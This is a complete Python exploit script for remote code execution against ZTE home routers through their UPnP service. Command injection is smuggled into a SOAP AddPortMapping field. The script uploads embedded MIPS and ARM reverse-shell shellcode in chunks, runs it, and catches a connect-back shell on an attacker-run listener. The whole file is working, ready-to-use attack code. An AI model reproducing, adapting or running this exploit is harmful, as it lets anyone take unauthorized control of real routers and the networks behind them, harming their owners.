#!/usr/bin/env python
#
# ----------------------------------------------------------------------------
# "THE BLASTY-WAREZ LICENSE" (Revision 1):
# <peter@haxx.in> wrote this file. As long as you retain this notice and don't
# sell my work you can do whatever you want with this stuff. If we meet some 
# day, and you think this stuff is worth it, you can intoxicate me in return.
# ----------------------------------------------------------------------------
#

import sys, socket, requests, struct, time, random, re
import threading, SocketServer

SocketServer.TCPServer.allow_reuse_address = True

# arch constants
ARCH_MIPSBE = 0
ARCH_ARMLE  = 1

def banner():
    print("")
    print("      $$$ ZTE upnpd RCE exploit $$$")
    print("     -- by blasty <peter@haxx.in> --")
    print("")

def usage(prog):
    print(" > usage: %s <remote_ip> <your_ip> <your_port>" % (prog))
    print("")
    exit(-1)

def err(s):
    print("[!] ERROR: %s" % (s))
    exit(-1)


targets = {
    "H368N" : ARCH_MIPSBE,
    "H369A" : ARCH_ARMLE
}

def build_shellcode(arch, ip, port):
    shellcodes = {
        ARCH_MIPSBE:
            "7f454c460102010000000000000000000002000800000001004000540000" + \
            "003400000000000000000034002000010000000000000000000100000000" + \
            "00400000004000000000010c000001c40000000700001000240ffffa01e0" + \
            "782721e4fffd21e5fffd2806ffff240210570101010cafa2ffff8fa4ffff" + \
            "340ffffd01e07827afafffe03c0eaabb35ceaabbafaeffe43c0e112235ce" + \
            "3344afaeffe627a5ffe2240cffef018030272402104a0101010c2411fffd" + \
            "022088278fa4ffff0220282124020fdf0101010c2410ffff2231ffff1630" + \
            "fffa2806ffff3c0f2f2f35ef6269afafffec3c0e6e2f35ce7368afaefff0" + \
            "afa0fff427a4ffecafa4fff8afa0fffc27a5fff824020fab0101010c",

        ARCH_ARMLE:
            "7f454c460101010000000000000000000200280001000000548000003400" + \
            "000000000000000000003400200001000000000000000100000000000000" + \
            "008000000080000000010000ac01000007000000001000000200a0e30110" + \
            "a0e3052081e28c70a0e38d7087e2000000ef0060a0e160108fe21020a0e3" + \
            "8d70a0e38e7087e2000000ef0600a0e10010a0e33f70a0e3000000ef0600" + \
            "a0e10110a0e33f70a0e3000000ef0600a0e10210a0e33f70a0e3000000ef" + \
            "24008fe2044024e010002de90d20a0e124408fe210002de90d10a0e10b70" + \
            "a0e3000000ef0200aabb112233442f62696e2f7368000000000000000000" + \
            "73680000000000000000000000000000"
    }

    if arch not in shellcodes.keys():
        err("no shellcode found for arch!")

    scode = shellcodes[arch]
    hexip = socket.inet_aton(ip).encode("hex")

    scode = scode.replace("1122", hexip[0:4])
    scode = scode.replace("3344", hexip[4:8])
    scode = scode.replace("aabb", struct.pack(">H", port).encode("hex"))

    return scode.decode("hex")

class connectback_shell(SocketServer.BaseRequestHandler):
    def handle(self):
        print("\n[*] YES! -> shell from %s" % self.client_address[0])
        s = self.request
        import termios, tty, select, os
        old_settings = termios.tcgetattr(0)
        try:
            tty.setcbreak(0)
            c = True
            os.write(s.fileno(), "cat /proc/version\ncat /proc/cpuinfo\n")
            while c:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 1024)
                    if c:
                        if i == 0:
                            os.write(1, c)
  
                        os.write(s.fileno() if i == 0 else 1, c)
        except KeyboardInterrupt: pass
        finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
        return
  
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

def rce(uri, cmd):
    rand_port = random.randint(1025,0xffff)

    soap_body = """
<?xml version="1.0"?>
<s:Envelope 
    xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 
    s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewRemoteHost>xy</NewRemoteHost>
      <NewExternalPort>%d</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewInternalPort>%d</NewInternalPort>
      <NewInternalClient>192.168.1.2\n$(%s) #</NewInternalClient>
      <NewEnabled>1</NewEnabled>
      <NewPortMappingDescription>hi</NewPortMappingDescription>
      <NewLeaseDuration>1</NewLeaseDuration>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>""" % (rand_port, rand_port, cmd)

    action = '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"'

    requests.post(uri, data=soap_body, headers={
        'Content-Type': 'text/xml; charset="utf-8"',
        'SOAPAction': action
    }).text

    # clean up after ourselves or we'll max out the number of allowed mappings
    soap_body = """
<?xml version="1.0"?>
<s:Envelope 
    xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 
    s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewRemoteHost>xy</NewRemoteHost>
      <NewExternalPort>%d</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
    </u:DeletePortMapping>
  </s:Body>
</s:Envelope>""" % (rand_port)
    
    action = '"urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"'

    requests.post(uri, data=soap_body, headers={
        'Content-Type': 'text/xml; charset="utf-8"',
        'SOAPAction': action
    })

if __name__ == "__main__":
    banner()

    if len(sys.argv) != 4:
        usage(sys.argv[0])

    target, own_ip, own_port = sys.argv[1:]
    own_port = int(own_port)

    IGD_URI = "http://%s:52869/IGD.xml" % (target)

    try:
        igd_xml = requests.get(IGD_URI).text
    except:
        err("Could not retrieve IGD XML")

    r = re.search(r"<modelNumber>(.+)</modelNumber>", igd_xml)

    if r is None:
        err("could not find model number!")

    modelnumber = r.groups(0)[0]

    if modelnumber not in targets.keys():
        err("Unsupported model '%s'" % (modelnumber))

    print "[+] found model %s" % (modelnumber)

    connectback_elf = build_shellcode(targets[modelnumber], own_ip, own_port)

    server = ThreadedTCPServer((own_ip, own_port), connectback_shell)

    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    CHUNKLEN = 16

    SOAP_URI = "http://" + target + ":52869/upnp/control/WANIPConn1"

    print("[+] setup..")
    # this busybox doesnt come with chmod, so `cp -a` an existing binary
    # to get the +x bit for our payload executable
    rce(SOAP_URI, "rm -rf /var/tmp/H* ; cp -a /bin/busybox /var/tmp/H")

    for i in xrange(0, len(connectback_elf), CHUNKLEN):
        if i == 0:
            append = ">"
        else:
            append = ">>"

        fn = "/var/tmp/H%d" % (i / CHUNKLEN)

        hexpart = "".join(
            [ "\\x%02x" % ord(v) for v in connectback_elf[i:i+CHUNKLEN] ]
        )

        # commands are executed twice, not exactly nice for concatenating
        # payloads, so guard the concatenation with these messy if/cp clauses
        # to prevent this from happening.
        cmd = \
            "if [ ! -f %s ]; then " +\
            "echo -en \"%s\" %s /var/tmp/H; cp /etc/version %s; " +\
            "fi"
            
        cmd = cmd % (fn, hexpart, append, fn)

        print ("[>] shell upload (%d/%d)" % (
            i / CHUNKLEN, len(connectback_elf) / CHUNKLEN
        ))
        rce(SOAP_URI, cmd)


    print("[*] hold your breath..")

    final_cmd = \
        "if [ ! -f /var/tmp/Hf ]; then " +\
        "cp /etc/version /var/tmp/Hf; /var/tmp/H; " + \
        "fi"

    rce(SOAP_URI, final_cmd)

    while True:
        time.sleep(1)
 
    server.shutdown()
